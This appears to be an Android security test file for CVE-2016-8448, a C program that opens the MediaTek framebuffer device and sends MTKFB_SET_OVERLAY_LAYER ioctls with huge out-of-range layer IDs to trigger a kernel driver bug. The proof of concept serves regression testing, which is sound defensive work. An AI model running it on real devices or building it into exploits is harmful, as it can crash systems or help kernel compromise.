Home | History | Annotate | Download | only in CVE-2016-8448
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #include <sys/mman.h>
     17 #include <fcntl.h>
     18 //#include <pthread.h>
     19 #include <sys/prctl.h>
     20 #include <unistd.h>
     21 #include <stdbool.h>
     22 #include <stdio.h>
     23 #include <stdlib.h>
     24 #include <string.h>
     25 #include <asm-generic/ioctl.h>
     26 #include "mtkfb.h"
     27 int main(int argc, char **argv) {
     28     int fd = 0;
     29     struct fb_overlay_layer layerInfo;
     30     memset(&layerInfo, 0, sizeof(layerInfo));
     31     fd = open("/dev/graphics/fb0", O_RDWR);
     32     if (fd < 0) {
     33 		perror("open /dev/graphics/fb0");
     34 		exit(-1);
     35     }
     36     printf("Device file opened successfully\n");
     37     printf("Trying to get layer info\n");
     38     if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
     39         perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
     40         exit(-2);
     41     }
     42     printf("Got layer info\n");
     43     printf("Trying to set layer info\n");
     44     // set any huge value here
     45     int curr_val = 0xf1111111;
     46     while(1) {
     47         layerInfo.layer_id = curr_val;
     48         if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
     49             perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
     50             //exit(-2);
     51         }
     52         curr_val--;
     53         if(curr_val == -1) {
     54             break;
     55         }
     56     }
     57     printf("Set layer info\n");
     58     return 0;
     59 }
     60